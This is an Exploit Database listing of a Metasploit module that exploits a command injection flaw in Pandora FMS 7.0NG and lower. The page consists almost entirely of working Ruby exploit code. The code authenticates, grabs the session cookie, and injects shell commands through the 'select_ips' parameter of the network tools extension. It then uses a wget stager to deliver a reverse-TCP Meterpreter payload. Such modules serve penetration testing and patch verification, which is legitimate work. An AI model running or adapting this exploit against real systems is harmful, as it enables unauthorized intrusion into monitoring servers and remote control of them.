Pandora FMS – Ping Authenticated Remote Code Execution (Metasploit)

• Exploit Database
• 32 阅读

• 作者： Metasploit
  日期： 2020-04-16
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/48334/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'Pandora FMS Ping Authenticated Remote Code Execution',
  'Description' => %q{
  This module exploits a vulnerability found in Pandora FMS 7.0NG and lower.
  net_tools.php in Pandora FMS 7.0NG allows remote attackers to execute arbitrary OS commands.
  },
  'Author'=>
  [
  'Onur ER <onur@onurer.net>' # Vulnerability discovery and Metasploit module
  ],
  'DisclosureDate'=> '2020-03-09',
  'License' => MSF_LICENSE,
  'Platform'=> 'linux',
  'Arch'=> [ARCH_X86, ARCH_X64],
  'Privileged'=> false,
  'Targets' =>
  [
  ['Automatic Target', {}]
  ],
  'DefaultOptions'=>
  {
  'Payload' => 'linux/x86/meterpreter/reverse_tcp'
  },
  'DefaultTarget' => 0))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
  OptString.new('USERNAME', [true, 'The username to authenticate with']),
  OptString.new('PASSWORD', [true, 'The password to authenticate with'])
  ]
  )
  end
  
  def check
  res = send_request_cgi({
  'method'=> 'GET',
  'uri' => normalize_uri(target_uri, 'index.php')
  })
  
  unless res
  vprint_error 'Connection failed'
  return CheckCode::Unknown
  end
  
  unless res.body =~ /Pandora/i
  return CheckCode::Safe
  end
  
  pandora_version = res.body.scan(/<div id="ver_num">v(.*?)<\/div>/).flatten.first
  version = Gem::Version.new(pandora_version)
  
  print_status("Pandora FMS version #{version}") if version
  
  if Gem::Version.new(version) <= Gem::Version.new('7.0NG')
  return Exploit::CheckCode::Appears
  end
  
  CheckCode::Detected
  end
  
  def authenticate
  res = send_request_cgi({
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri, 'index.php'),
  'vars_get'=> {
  'login' => '1'
  },
  'vars_post' => {
  'nick'=> datastore['USERNAME'],
  'pass'=> datastore['PASSWORD'],
  'login_button'=> 'Login'
  }
  })
  
  return auth_succeeded?(res)
  end
  
  def auth_succeeded?(res)
  unless res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
  print_error('Authentication failed!')
  return false
  end
  print_good('Successfully authenticated')
  print_status('Attempting to retrieve session cookie')
  @cookie = res.get_cookies
  unless @cookie.include?('PHPSESSID')
  print_error('Error retrieving cookie!')
  return false
  end
  print_good("Successfully retrieved session cookie: #{@cookie}")
  true
  end
  
  def exploit
  print_status('Exploiting...')
  execute_cmdstager(flavor: :wget, nospace: true)
  end
  
  def execute_command(cmd, opts = {})
  print_status("Attempting to authenticate using (#{datastore['USERNAME']}:#{datastore['PASSWORD']})")
  auth = authenticate
  unless auth
  fail_with Failure::NoAccess, 'Please provide a valid username and password.'
  end
  
  id_agente = 1
  while !session_created? && id_agente <= 10
  send_request_cgi({
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri, 'index.php'),
  'cookie'=> @cookie,
  'vars_get'=> {
  'sec' => 'estado',
  'sec2'=> 'operation/agentes/ver_agente',
  'tab' => 'extension',
  'id_agente' => "#{id_agente}",
  'id_extension'=> 'network_tools'
  },
  'vars_post' => {
  'operation' => '2',
  'select_ips'=> ";#{cmd}",
  'community' => 'public',
  'submit'=> 'Execute'
  }
  })
  
  id_agente += 1
  end
  end
  end